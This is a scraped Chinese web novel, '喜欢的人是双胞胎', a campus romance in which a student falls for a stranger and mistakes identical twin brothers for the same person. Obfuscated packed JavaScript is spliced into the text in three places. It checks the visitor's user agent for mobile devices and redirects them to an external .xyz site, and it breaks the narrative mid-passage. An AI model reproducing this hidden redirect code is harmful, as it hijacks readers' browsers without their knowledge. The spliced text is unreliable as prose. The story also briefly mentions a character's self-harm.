《喜欢的人是双胞胎》 1. 第 1 章 高马尾在身后摇晃,杏眼弯成月牙,一颗小虎牙显露唇下。 地铁呼啸而过,站台玻璃门倒映出的笑脸一瞬呆滞。 李再星直拍脑门,光顾着手机聊天,白等一趟地铁。 懊恼一秒,又立刻低头,手指在屏幕敲出残影,向韩栀子实时转播这倒霉情况,对方坐实损友之名,在手机那边幸灾乐祸大笑。 幸灾乐祸之后,韩栀子又发来消息。 【听说你们学校计算机系搬到本部了,你帮我打听打听,那谁最近学得怎么样,绩点多少,系排名多少。】 “那谁”,是韩栀子对她高中前班长的代称。 李再星回了一串省略号。 都毕业一年了,这人竟然还在在意高中班长的成绩。 韩栀子好胜心极强,偏偏高中时总被这位每次都考年级第一的班长压一头。 即便李再星高中没和她同校,甚至没见过那位班长本人,对方的事迹却从韩栀子这听到耳朵起茧。 放弃了保送,参加高考,高考完被被许多人望尘莫及的东晏大学抢着要,却爆冷选择本地的青安大学。 韩栀子震惊不解,以为有什么狗血疼痛难言苦衷,厚着脸皮向当事人寻因问果,得到的答案却是三个字:我恐高。 因为恐高坐不了飞机,所以不去外地上大学。 简单到离谱,随意到荒谬,更让自诩为他竞争对手的韩栀子愤愤不已。 她发狠忘情搞学习,终于以全系第一的成绩被东晏大学的计算机系录取,本以为终于打败了那家伙,结果对方竟然弃权,这一拳打到棉花上的无力感!比腹胀大半天终于找到厕所结果只是放了个屁还难受! 学霸的世界,李再星搞不懂,也对这个未曾谋面的校友没多余兴趣,甚至连名字都没记住——韩栀子每次提及都只喊他班长,那谁,臭小子。 唯一有点印象的,对方是似乎是双胞胎。 李再星无视韩栀子这酷似私生饭的请求,扭头看向站台的电子显示屏,离下趟地铁还有五分钟。 从电子屏收回视线,余光瞥见身后两步远处站着的男生,穿着一身黑,戴着黑色棒球帽,帽檐压得很低,只露出线条流畅的下半张脸。 他清瘦高挑的身形让人很有印象,李再星记得他跟自己差不多时间过安检进站,原来错过上趟地铁,被留在站台的不只她一个。 李再星心里微妙地找到些平衡。 五分钟时间在和韩栀子的废话中很快流逝,新一趟地铁到站。这个时间点,地铁站人流量并不多,座位富余,空气冷清。 李再星随便找个位置坐下,戴上耳机听歌打发时间。 耳机里的男歌手声音温柔,催眠效果甚好,李再星瞌睡连连,垂着的脑袋似小鸡啄米,二指长的马尾跟着摇晃。 睡意上头,她越垂越低的脑袋猛地往前坠时,忽觉额头一热。 一只手沉稳有力地托住了她的脑袋。 鼻尖嗅到一丝朦胧的花香,像是被水汽晕染的桂花,带着几分冷意,如同走进雨后的园林。 李再星旋即清醒,借着这股力量坐直身体的第一时间道歉:“对不起!” 扭过头的一瞬间四目相对。 扶住她的是刚才在站台的那个男生,帽檐下的面部轮廓分明,眉骨高挺,精致的五官带着凛冽的冷感。 就连右侧眼皮上的那颗褐色小痣,都透着冷漠薄凉的味道。 男生收回手,板着脸移开视线,“没事。” 和她耳机里男歌手截然不同的音色,他的声音偏低,微冷。 好冷酷…… 李再星有些尴尬,挠了挠脸颊,坐正身体。 行驶中的地铁像婴儿的摇篮,没几分钟,她的上下眼皮又开始打架。 尽管理智一直警告,独自在车上睡觉会带来坐过站的麻烦,困意仍旧像不受控制膨胀的气球。 每当要睡过去时,又立刻挺直腰杆,强逼自己清醒。 反反复复,煎熬痛苦。 李再星做了个深呼吸,强行睁大眼睛,手掌拍上脸颊。 掌心拍打脸颊的清脆声响令身旁人侧目。 男生忽然出声:“你在哪个站下车?” 足足三秒,李再星才反应过来他是在跟自己说话,忙摘下一只耳机,愣头愣脑回答:“青大站。” 男生沉默几秒,“你睡吧,到站我叫你。” “啊、啊?” 李再星错愕,困得不太清醒的脑子有点短路,茫然盯着他。 男生偏头,回避她视线,压低帽檐,留下不自然的侧脸,“我也在那站下车。” 眼神能够回避,表情可以控制,皮肤温度却无从调节。 李再星视线落在他泛红耳根。 半晌,她缓慢眨眼,顿悟。 原来不是因为冷酷。 压住笑意道了声谢,李再星戴回耳机,中断的歌曲自动播放,《Can''t Help Falling in Love》。 心跳扑通扑通,她低头,杏眼偷偷弯成月牙。 …… “所以你光顾着心动,就这么扑通扑通两手空空地走了?” 听李再星说完这段遭遇,电话那边的韩栀子从满脸姨母笑到恨铁不成钢,“名字呢?微信呢?电话号码呢?你是一个都没问啊。” 李再星同样扼腕:“我这不是第一次crush,没经验嘛!” 韩栀子:“你不是说他跟你同一站下车吗,没准也是青大的,在你们学校表白墙上捞人试试。” “但我感觉他不像是会看表白墙的人。” 虽然没跟那个男生聊几句,但对方给李再星的感觉,不像是会关注八卦的人。 “管他什么感觉不感觉,死马当活马医啊!” 韩栀子对自己的恋爱不感兴趣,对发小的恋爱倒是上头,“互联网神人这么多,你描述时写详细点,万一搞到他名字呢!” ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484281|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “季行月!” 篮球场外的梧桐道,身后人的呼唤让少年身形一顿,在原地停了三秒,这才笑容可掬转回头。 此刻已是黄昏,天光暗沉,他绽放的笑容却让人眼前乍然一亮。 左眼角下的那颗泪痣,为本就精致的五官画龙点睛,似多情又薄情。 就连同为男生的张皓也不得不暗叹这张脸生得真好,难怪这么多女生巴巴地求他帮忙约季行月吃饭。 张皓上前揽住季行月肩膀,语气熟稔:“走这么急做什么,喊你几遍了,不是说晚上一起跟啦啦队的学妹们吃饭吗?” 他刚打完球,一身汗臭熏人作呕。 季行月额角青筋狂跳,但脸上还挂着笑,“今天我就不去了,我哥刚发消息给我,让我今天回去吃,你也知道,我哥的性子……” 他作出为难的样子,话不说全,就足够让张皓脑补出冷酷独裁的兄长欺负温和弱势弟弟的戏。 张皓和季行月是前室友,大二开学后,随着季行月哥哥所在的计算机系搬到了本部,季行月也跟着搬出了宿舍,兄弟俩在学校附近租房住。 这对兄弟虽然长着同一张脸,性格却是冷和热的两个极端。 张皓组的这个局其实是借着季行月的名义到处喊人,毕竟季行月是他们经管的系草,那些啦啦队学妹也是冲着他来的,他们都是沾了季行月的光,季行月要是不到,联谊气氛也搞不起来。 现在季行月不去,张皓虽然心里不痛快,但也无可奈何——他也招惹不起那个冷面阎王。 “行吧,下次我组局,你可一定要来啊。” “下次一定。” 一定个屁。 下辈子吧! 张皓一走,季行月就变了脸。 真操蛋的烦! 他烦透了张皓拿他当招牌招揽联谊,偏偏又碍于在外的人设,不能拉下脸直接拒绝。 倒也想过谈场恋爱告别单身,一劳永逸,但对他这个极端颜控,能入得了他眼的人,难易程度堪比走在路上被星探挖去出道。 目前为止,也就两张脸有此殊荣,其中一个是他自己。 季行月从兜里掏出两颗比巴卜,撕开包装纸,往嘴里一丢,把泡泡糖当张皓,狠狠咀嚼撒气。 甜味在嘴里消散,脾气还没散,于是混到二氧化碳里,吹成泡泡。 吹出来,咬破,再吹出来,再咬破。 就在他吹出第三个泡泡时,身后忽然传来急促的脚步声,右肩被人从后面轻轻拍了一下。 张皓这狗东西,竟然还不死心。 季行月一边在心里骂,一边把死鱼眼弯成月牙,填上虚伪感情,转过身—— 愣住。 高马尾在女生身后左右摆动,季行月毫无防备撞上一双盛满惊喜的杏眼。 吹出的泡泡“啪”地一声炸破,像中断的电影重新按下播放键。 茜色夕阳下,女生朝他笑出小虎牙:“嗨,又见面啦!” 2. 第 2 章 跟漂亮两个字挨不上边的长相,笑得傻气,穿着身黄不拉几的卫衣,像颗小土豆。 无论装熟还是搭讪,都提不起兴趣的类型。 这是季行月对她的第一印象。 将吹破的泡泡糖重新卷进嘴里,季行月扯出装模作样的微笑:“我们之前见过?” 见他像是不记得,李再星有些小失落,但也不怪他,毕竟上一次见面是十天之前的事了。 没有名字没有照片,在表白墙捞人无异于海底捞针,十天过去,毫无进展。 没想到的是,老天对她如此厚爱,让她命运般地在路上遇见她的crush。 她也没辜负老天的厚爱,仅凭一个后脑勺,她就马上认出来了! 只是,对方今天的穿衣风格跟上次很不一样。 粉色的宽松翻领卫衣,裤腿宽大到极致的水洗牛仔裤,蹬了双荧光绿的老爹鞋。 这红红绿绿缤纷如圣诞树的打扮,让李再星无法控制地感到不自在。 李再星挠了挠脸,为了让他有印象,特意把当时情况说得详细:“我们十天前在地铁里见过的,你扶了我一把,还让我安心睡觉,说到站会叫我。” 季行月很确定自己没有这种乐于助人的记忆,但对这种情况并不陌生。 有个同卵双胞胎兄弟,被张冠李戴是常事。 不过听她描述,季行月有点惊讶,难得见到他哥还有这种热心肠。 季行月不着痕迹打量了眼面前这个女生,得出的结论不变。 没有在她身上浪费时间的欲望。 “你认c……” “我叫李再星,你叫什么呀?” 李再星这回学聪明了,不管三七二十一,先问到名字再说。问联系方式还可能会被拒绝,但问名字被拒绝的概率很低。 先问到名字,才能有机会打听到其他信息,才能展开对crush的追求。 她真是个天才! 李再星觉得自己聪明极了! 瞧她突然笑得更傻气,季行月不着痕迹皱了下眉,正想把刚才的话说完,又听对方傻呵呵地挨个字解释名字。 “木子李,再见的再,日月星辰的星。” 季行月启唇动作顿住。 李再星,李再星…… 季行月的目光重新落到她脸上。 小土豆。 傻气笑。 平平无奇转眼就忘的长相,却和这个名字联系在一起。 琐事连成线,尘封记忆揭开。 季行月蓦地笑了,“我叫季行月。” 他看着她,亲和力拉满地扬起嘴角,灿烂到极致,漂亮到虚伪:“要加个微信吗?” …… “他笑得真好看!又帅又亲切!” 李再星第一时间向韩栀子分享喜讯,全须全尾复述了一遍刚才的偶遇。 尤其是季行月刚才的那个笑容,毫不夸张地形容,简直就像洒满圣光的天使,当时差点以为太阳要出来了。 韩栀子的关注点却在另一件事上:“你不是说他今天潮到风湿吗,你的潮男恐惧症治好了?” 李再星有挺严重的潮男恐惧症,这事跟韩栀子还有间接关系。 韩栀子从小就长得漂亮,如她泼辣的性格一般,是明艳大气的浓颜美女,刚上高中那会儿还被星探给过名片。 也因为漂亮,被不少异性纠缠骚扰过,其中大半是自以为能靠脸吃饭,打扮很夸张的“潮男”,目睹潮男们对韩栀子孔雀开屏的李再星,也渐渐有了潮男恐惧症。 李再星塌下肩:“哪那么容易治好?我刚刚都快从成木头了,硬着头皮去搭话的。” 韩栀子:“那你以后要怎么跟他相处?” “走一步看一步吧,”李再星的字典里就没放弃这两个字,“既然我能鼓起勇气去跟他搭话,那就也能继续跟他相处,哪怕得风湿!” 韩栀子在电话那边竖大拇指:“爱的力量真伟大。” 李再星回到宿舍没多久,就收到了季行月的消息。 没有文字,就一个小狗探头的可爱表情,看着像是在打探她在不在,却也更像是在开启话题。 继主动要微信之后,他又主动开启话题。 这绝对也是对她有意思吧? 至少不排斥她。 李再星压了压不自觉往上翘的嘴角,给他回消息: -你周末有空吗? -方便的话,我想周末请你吃顿饭表示感谢,上次真是多亏了你,我才没坐过站。 季行月很快回复: -当然有空 -不过感谢就不用了,我有想看的电影,我请你吃饭,你请我看电影,怎么样? 那当然好得不能再好了! 和季行月约好周末吃饭看电影的事后,你来我往地发了几个表情包,聊天在适当的时候结束。 这走向发展,简直顺利得像在做梦。 李再星抱着手机开心到快冒泡,又点进季行月的头像,去看他的朋友圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484282|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季行月的朋友圈设置了最近半年可见,发动态次数不算频繁,但内容丰富。 打篮球,弹吉他,健身,和朋友登山、聚餐、打游戏,他看起来是个爱好很多朋友也很多的人,活生生的阳光现充。前卫的打扮和过于突出的长相,每张合照,他都是最吸引眼球的那一个。 从季行月的朋友圈来看,他似乎还有个哥哥,不过朋友圈里没有放哥哥的照片,提到的次数也很少,仅仅只知道跟他年纪差不多大,也是大学生。 李再星没放在心上。 八字还没一撇,哥哥什么的不重要,见家长这种事还是先谈上恋爱再说吧。 让李再星没想到的是,前一天才在微信里约了周末见面一起吃饭的人,还没等到周末,第二天就又遇见了。 第四节课下课,502宿舍的几个人吃完饭,都想喝饮料又懒得排队,石头剪刀布定了李再星这个跑腿的冤种。 李再星把手机和书包都给了室友,带着学生卡跑来食堂一楼的便利店。偏偏不赶巧,刷卡时显示余额不足。 跟收银的学生说了声抱歉,她正要把饮料退回去,身旁忽然传来一道有些熟悉的声音。 “我帮你刷。” 李再星下意识偏头看过去,先入目的是一件黑色工装夹克,衣服主人身材高大,宽肩平直。 她微微仰头,看见一张不算陌生的帅气的脸。 他今天穿着一身纯黑色,衬得他皮肤冷白,气质更稳重。 李再星惊喜眨眼,昨天才听他说他是经管系学生,明明经管系在南校,今天竟然又在北校遇见他。 这实在太巧,巧到她一瞬间想自恋地去以为这是他在故意跟她制造偶遇。 自恋想象是玩笑,她有自知之明,知道那不可能。 李再星咧嘴一笑:“好巧,又见面了!” 男生沉默了一会儿,移开对视视线:“嗯,是挺巧。” 接过收银学生递来的便利店,李再星跟他走出便利店,一边说:“谢谢你呀,我待会儿把钱转你。” “不用,你……” 男生似欲言又止。 “嗯?” 男生比李再星高出大半个头,李再星微微仰头看着他,过亮的阳光晒得她微微眯起眼。 不知是不是阳光晃花眼的缘故,她似乎看见对方脸上一闪而过的紧张。 季舒阳的视线落在她脸上,下颚线绷紧一秒,把手机递到她面前,破釜沉舟般开口: “你的手机号,能告诉我吗?” 3. 第 3 章 “啊?” 李再星有些懵,“我们不是已经加过微信了吗?” 站在她面前的男生眼底闪过一丝惊愕。 李再星还没来得及思考他为什么会这么惊讶,对方已经侧过脸回避了她的视线。 “抱歉,”他声音很低,带着隐隐的失落,“不愿意就算了。” “没有没有没有,”李再星连忙否认,在他要收回手时,把他的手机从手里抽出来,在他已经解锁的手机里输入自己的手机号码,“虽然我们已经加过微信,但也不妨碍我们互通电话号码呀!” 李再星把手机递还给他,笑容灿烂地开玩笑,“有事没事都可以给我打电话哦,我话费套餐里的免费通话时间多着呢!” 不知是被她阳光的笑容感染,还是因为她的玩笑话,季舒阳唇角浅浅弯起,“好。” 和他昨天的笑不一样,他今天的笑容没那么阳光明媚,弧度浅淡,还带着些许生涩和腼腆,就像风轻轻吹过水面,漾开细微的涟漪。 李再星微微一愣,手指无意识地摸了摸耳朵。 不知是不是太阳强烈的缘故,指腹下的皮肤有些发热。 “那,那我就先走了。” 她莫名地有些结巴,朝他挥挥手,转身头也不回地跑了。 李再星一口气跑到宿舍,满脸通红地大喘气。 室友关柔见她这风风火火的模样,开玩笑损她,“干嘛跑这么急,被鬼给追了?” 李再星拧开刚买的饮料,咕噜咕噜猛灌一大口,激动地喘着粗气:“追我的不是鬼,是个大帅哥!” 她把方才遇见crush的事从头到尾复述了遍,几个母胎单身的室友,燃起八卦之火的眼睛一双比一双亮。 关柔:“他对你有意思!” 另一个室友王佳佳:“绝对有意思,不是我倒立洗头!” 得到肯定,李再星也越发振奋:“是吧是吧?不是我的错觉吧?不是我在自作多情吧?” 王佳佳出主意道:“你周末不是要跟他约会吗,周末再去试探一下不就行了。” 李再星:“怎么验证?” 王佳佳:“人都有安全社交距离,特别是对异性,你就假装不经意靠近他,看他的反应,是排斥你还是接纳你。” 李再星竖起大拇指:“高手啊。” 王佳佳毫不谦虚潇洒甩头:“那是!” 周末的吃饭,读作吃饭,写作约会。 期待之余,李再星还有些紧张。 不仅仅是要试探季行月对自己的心意,还要鼓起勇气去面对一个潮男。 她统共和季行月见了三次面,他的穿衣风格在潮到风湿的夸张和朴素低调的正常之间反复横跳,李再星不知道该迎合他哪一次的风格。 二选一,李再星决定跟着感觉碰运气。 在校门口见面时,看到季行月今天鲜艳张扬的打扮,土狗瑟瑟发抖。 可恶,她押错了注! 潮男恐惧症的影响力不可小觑。 她蠢蠢欲动的少女心,败给面对潮男的不自在。 注意到她的不自在,季行月问:“怎么了吗?” 李再星手忙脚乱回避视线,生硬转移话题:“哈、哈哈……你今天的耳钉挺好看的。” 季行月弯眼一笑:“其实我没打耳洞,都是耳夹,要仔细看看吗?” 他微弯腰,低头朝她凑近几分,动作很乖。 李再星鼻尖嗅到他身上的气息。 清新微涩的果调,像无花果的枝叶气息,跟他笑起来时给人的感觉一样,明亮清爽,又不失活力。 和那天在地铁上不一样的味道,但也很好闻。 却偏偏是个潮男。 救救救救命! 李再星几乎都快听到自己骨头被冻结的声音,好在及时到来的出租车救她狗命。 “出、出租车来了!” 搬出这借口,李再星连忙从他身边逃开,四肢不协调的模样,仿佛程序故障的机器人。 在她扭头去坐车时,没看见身后男生困惑地皱起眉。 季行月惯会察言观色,一眼就看出李再星这是在躲他。 不是在害羞,而是把他当豺狼一样躲开。 从去吃饭的路上到吃完饭,李再星把室友教的试探大法忘得一干二净,反而是季行月,亲切且自然地与她拉近距离。 他把握的尺度很好,任谁都觉得绅士温柔。 但对李再星来说,潮男的杀伤力不可小觑,别说招架住他的攻势,就连多看两秒他的脸,她都觉得不自在。 季行月也越发困惑,无声打量此刻正在影院自助取票机前取票的李再星。 他明明在这么努力地勾引,怎么还没见上套? 难道是他勾引的方法不对? 虽然是第一次勾引人,但凭他这张脸,也不该败北啊? 皱着眉琢磨时,季行月无意间注意到店外的一个小女孩。 小女孩扎着两羊角辫,看着也就四五岁,一个人在那边瘪着嘴,要哭不哭。 周围没见她家长,季行月便多留心了一下,就见小女孩突然左脚绊右脚,自己跌倒在地,立刻哭起来,依旧没见有家长去管她。 犹豫几秒,季行月还是朝那边走过去,把人从地上拎起来,“小鬼,你家里人呢?” “妈妈……妈妈丢了呜呜呜呜哇!” 小女孩原本就因走失而不安,又被他高大的身材和晃来晃去的十字架耳环吓到,哭得比刚才厉害。 “你、你别哭啊,我又不是坏人。” 季行月最不擅长应付这种小屁孩,顿时后悔自己吃饱了撑的来多管闲事。 既不知道怎么哄,又担心别人误会是他在欺负人,想摸她的脑袋安慰一下,都不知该从哪下手。 就在他手足无措时,注意到动静的李再星赶紧走过来救场。 李再星蹲在小女孩身前,指着影院里的一排娃娃机:“小妹妹,姐姐带你去抓漂亮娃娃,别哭了好不好?” 小女孩被这话吸引了注意力,泪眼婆娑望着她,眼里还带着戒备和警惕。 李再星打扮得没季行月那么夸张,长相也没什么攻击性,笑起来杏眼弯弯,小虎牙一冒尖,自带亲和力,正是小朋友们喜欢的姐姐类型。 小女孩在她的笑容里放下警戒心,一抽一抽地点头。 她总算止住哭泣,季行月松了口气,对李再星道:“这里二楼有广播室,我去趟那边找人广播。” “行,没准她的父母会回来这边找她,我带着她留在这,你快去快回。” 两人就这么简单分工了一下,季行月记下了女孩的穿着,去广播室找人广播。 广播出去没多久,女孩的妈妈就急急忙忙地找到游戏厅,手里还牵着一个和走失女孩一模一样的小姑娘。 原来是双胞胎。 估计是妈妈一个人带着两个孩子出门,忙起来时只顾上了一个,这才让小女孩走丢。 双胞胎妈妈红着眼睛跟两人道谢,李再星大大咧咧地摆手,“没事没事,举手之劳。” 临离开时,小女孩抱着李再星刚给她夹上来的娃娃,被妈妈教导着,脆生生跟李再星道谢。 站在一边的季行月忽然出声:“麻烦等我一下。” 女孩妈妈和李再星都看向他,面露疑惑。 只见季行月去了趟娃娃机那边,花了两三下功夫,夹到了一只和小女孩怀里那只一模一样的玩偶,走到另一个被妈妈牵着的妹妹旁边,把玩偶给她。 一直安静待着的妹妹接过玩偶,眼里的羡慕变成欣喜,扬起大大的笑脸:“谢谢哥哥!” 季行月也跟她笑了笑:“不客气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484283|185662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她们离开后,季行月扭头对李再星解释:“双胞胎最看重的就是公平,要是只有一个人有娃娃,会闹别扭的。” 他解释时的神色云淡风轻,语气里却隐隐带着一丝不易察觉的得意。 这是只有同为双胞胎的他,才会注意到的细节经验之谈。 虽然刚才哄小孩时出了丑,但他这种细心表现算加分项吧? 季行月翘起嘴角,等着李再星的夸赞。 李再星反应慢半拍地眨了眨眼,也果然如他所想,露出惊艳的神色。 然而,说的话却是:“你夹娃娃好厉害!” “?” 季行月笑容微妙地僵在脸上。 不是夸他的人格魅力,而是在惊叹他夹娃娃的技术? 那东西需要技术含量吗? “刚刚那只娃娃,我夹了二十次才夹到一只!” 潮男恐惧症在此时此刻第一次被克服,李再星望着他的眼里几乎要闪星星,“而你才夹了两次就成功!也太厉害吧!” “……” 自诩装模作样到出神入化地步的季行月,也差点控制不住嘴角的抽搐。 他深吸一口气,勉强保持微笑:“你有想要的吗,我给你夹?” “可以吗!”李再星激动到眼睛都更闪亮了,“我想每台机子都来一只!” 季行月:“……” 李再星原本是想她出钱,季行月出力,但季行月先她一步去扫码买了一堆币,出钱又出力。 李再星反而被弄得有些不好意思,觉得怀里的这堆娃娃变得烫手。 她不好意思一个人独占,提出和季行月一人一半。 季行月对这种幼稚公仔压根不感兴趣,但还是拗不过她,随手挑了个不占地方的猫咪挂件,口不对心夸了句,“这猫咪挺可爱的,这个就够了。” 李再星眨了眨眼。 这猫咪挂件刚好有两个,因为她对这种丑萌娃娃没有抵抗力,所以让他在一台机子里夹了两个同款不同表情。 这么多娃娃,他偏偏挑了这个,多少有些暧昧。 尽管心里吹响了一百个窃喜小号,李再星还是控制住了自己没笑得太过分。 她装模作样咳了咳,“你好像对这边挺熟悉,我都不知道二楼还有个广播室。” 季行月:“我是本地人,市内基本都玩遍了。” 李再星今天第二次感到惊喜:“我也是本地人!也太巧了吧!我高中在智明读,你呢?” 相比她的惊讶,季行月淡定许多,如实道:“我是明礼的。” 李再星更惊喜地露出笑脸:“我好朋友也在明礼读!你们校庆的时候,我还偷偷去过你们学校呢。” 她那个好朋友就是韩栀子,两人虽然高中不同校,但隔三差五打电话聊天。 季行月这么帅,她竟然没听韩栀子提过他。 不过也情有可原。 她们俩都是对不感兴趣的事就完全不会关注的类型,她那时对恋爱和帅哥都不感兴趣,韩栀子就更加如此,在学校和父母的重压下只想着学习。 韩栀子唯一提过的帅哥,就是她班长,而且聊天重点也不在班长的颜值上,而是对他次次年级第一的怨念。 念了三年,念到李再星耳朵起茧,都没记住她班长的名字。 知道季行月既是同乡,又是韩栀子的校友后,李再星突然觉得他亲切不少,“没想到我们竟然这么有缘。” 季行月也笑笑,迎合她的兴奋,意有所指道:“没准我们之前还见过呢。” “还真有可能,”李再星兴奋附和,又觉得自己没理由会忘记这么帅一张脸,“不过你长这么帅,如果见过,我一定对你有印象。” 闻言,季行月牵起一个笑,不置可否。 有印象个屁。 明明忘得一干二净。 4. 第 4 章 从万达回来,季行月原想送李再星到宿舍楼下,李再星不想太麻烦他,跟他在校门口分别。 季行月没有坚持。 他是个很懂分寸的人,知道过度的绅士也会给人负担。 回到宿舍,李再星才进门,在宿舍留守的两个单身狗室友立刻起哄猴叫。 “Oh~!瞧瞧是哪个去约会的叛徒回来了?” “和帅哥约会的感觉怎么样?发展到什么进度了?牵手还是kiss?赶紧说说!” 李再星把今天的战利品娃娃们堆到床下的书桌上,“你们当我坐火箭呢,哪有那么快。” 关柔看热闹不嫌事大:“现在是快餐式恋爱的时代,先下手为强。” 王佳佳附和:“就是,我还等着妹夫请我吃饭呢。” 几个室友的关系很好,李再星是宿舍里的老幺,性子又讨喜,是宿舍的团宠兼团欺。 “放心吧,这顿饭少不了你们的。” 李再星是给三分颜色就能开染坊的性格,得意地摆起谱,毫不谦虚地自夸起来,“虽然是第一次,但我真的很会追人,小小帅哥,轻松拿下~” 见她这么嘚瑟,关柔忍不住咋舌,又关心问:“你的潮男恐惧症克服得怎么样了?” 被问到点子上,李再星收起得意,表情又凝重了些。 其实她觉得,今天和季行月相处的气氛和地铁里的那一次不太一样。 具体怎么不一样,她自己也说不上来。 这两次唯一的不同,就是季行月的穿着打扮。 所以,控制变量法得出的结果,责任在她。 是她的潮男恐惧症阻碍了她对季行月的心动。 李再星给自己倒了杯水,咕噜咕噜灌下去,握着杯子往桌上一搁,下定决心:“我一定要克服这毛病!” …… 深褐色的液体自咖啡机缓缓注入白色陶瓷杯,浓郁的咖啡香与腾腾热气交织在一起。 季舒阳端起杯子轻抿一口,手冲咖啡的苦涩在舌尖蔓延。 茶吧桌上的手机响了几声,季舒阳看了眼来电人,按下接听:“妈。” “舒阳,你在家吗?” “嗯。” “这两天要降温了,你让小月多穿点,别老惦记他那时尚打扮,到时候感冒再哼哼喊难受。” 沉默了几秒,季舒阳低声应下:“好。” 季行月一向最会对秋丽撒娇,秋丽嘴上嗔怪他要风度不要温度,实际三言两语都是对他的偏爱和关心。 又叮嘱了几句后,秋丽就挂了电话。 季舒阳偏头看向窗外,天色将暗,冷寂的夜色逼到窗边。 同一套DNA,同一张面孔,非要说有什么不同之处的话,他的反应比季行月慢几拍。 还在婴儿时代,常常是季行月先嚎啕大哭,而他则是慢几拍后,才跟着哭。 随年龄渐长,他们渐渐能够听懂大人们的话,或是安抚,或是表扬。 季行月仍旧喜欢用哭声吸引大人们的注意,而季舒阳依旧慢了几拍。 就在这慢了几拍没哭的空档,大人们将他的迟钝误解为安静懂事。 于是嚎啕大哭的季行月被安抚,安静懂事的他被表扬。 起初,父母的表扬让季舒阳感到骄傲。 在一声声表扬里,他不再轻易哭泣,学会了迁就照顾弟弟,树立起父母所说的作为哥哥的榜样。 但渐渐的,这些称赞不知不觉变成枷锁,他的言行举止,他的世界,就此被束缚。 懂事,优秀,榜样,这些评价和季舒阳这个名字联系在一起,在所有人眼中,都变得理所当然起来。 同样的考试,他考卷上的八十分,会得到父母隐隐失望的眼神,季行月的六十分,能得到父母摸头拍肩的鼓励。 同样顽皮爬树,掉下来被吓到,季行月得到的是父母安抚情绪的拥抱,他得到的是没能看好弟弟的指责。 无法摆脱被期望所束缚的生活,一旦无法达到父母期望,就满心愧疚,寝食难安。 不敢有任何松懈,不敢踏足新领域,不敢像季行月那样随心所欲尝试兴趣爱好,因为一旦涉猎就必须做到最好,否则无法成为榜样。 他越来越恐惧失败,对任何事都要做到完美,渐渐执着到病态。 这样如履薄冰的时期,一次失误,就足以让他整个人支离破碎。 高二的一次期中考试,季舒阳以一分之差,和年级第一失之交臂。 对见惯了季舒阳次次稳坐年级第一的其他同学,这是一次令人意外的大爆冷,但也只是茶余饭后三言两语带过的小感慨。 毕竟只是一分之差,没人质疑他的实力。 没人知道,对追求完美的人来说,这样的失误有多令人崩溃。 分数和排名出来的那天,季舒阳的大脑都在嗡鸣。 手指的倒刺连同皮肉一次次被撕下,被长袖掩盖的小臂布满指甲的抓痕。 其他人都在迎接期中考后的校庆,没人理会他的世界在分崩离析。 怀揣着刚买来的美工刀,季舒阳躲在远离热闹的偏僻墙角。 “考砸一次就这么垂头丧气,你的心是玻璃做的吗?” 一声清脆的责骂在这时候砸进他的耳朵里。 季舒阳起初以为是在骂自己,下意识朝声源处看过去。 两个穿着校服的女生坐在不远处树下的长椅上,其中一个垂头丧气。 季舒阳认得她,是和他同班的韩栀子。 仅限于点头之交的同学关系。 刚才出声的,是韩栀子旁边那个扎着马尾的女生。 虽然刚骂完人,但她手里拆的巧克力棒却还是递到了韩栀子嘴边。 韩栀子推开她的手,脸埋进掌心,声音哽咽:“我这次不只是考差,排名都掉出了前三,我爸要是知道了,会打死我的。” “你爸、你爸……” 马尾女生像是想骂人,但又顾虑当着韩栀子面骂她亲爹不太好,磕绊了半天,像便秘一样憋出一句:“你爸怎么老这样!” “这样”两个字里包含了种种脏话的含义。 女生忿忿:“还不如我爸呢!” “你不是说你爸出轨了吗?” “出轨也比家暴强……算了,巧克力味的屎,屎味的巧克力,两个都不是好东西。” 她们的谈话涉及家庭的私密话题,季舒阳听到这里时,想悄悄离开。 却在转身前,看见马尾女生将韩栀子抱进怀里。 “考砸了也没关系,我不是说过吗,不管你做到什么程度,努力过就不遗憾,别给自己这么大压力。” 她的声音很温柔,又陡然变得豪迈,“大不了这段时间来我家,让我妈去跟你爸妈说,反正咱俩家离得近,也不耽误你上学!” 韩栀子仍旧在意:“可是第七名……” “你们学霸真是气人,第七名怎么了?我这次在智明连七十名都没考到呢!” “而且你不是说那个谁这次从年级第一掉到了第二,连他都有失误的时候,你失误一次怎么了?你不是一直觉得他霸着第一的位置很讨嫌吗,这次他考砸了,幸灾乐祸的好时候啊!” “……” 没料到在这时候还能听到自己以这种方式被提及,季舒阳没带感情地扯了扯嘴角。 他要不要去把教导主任喊过来,把这个穿着明礼校服混进来的智明异类赶出去。 虽然这么想,眼睛却无法从相拥的两个女生身上移开。 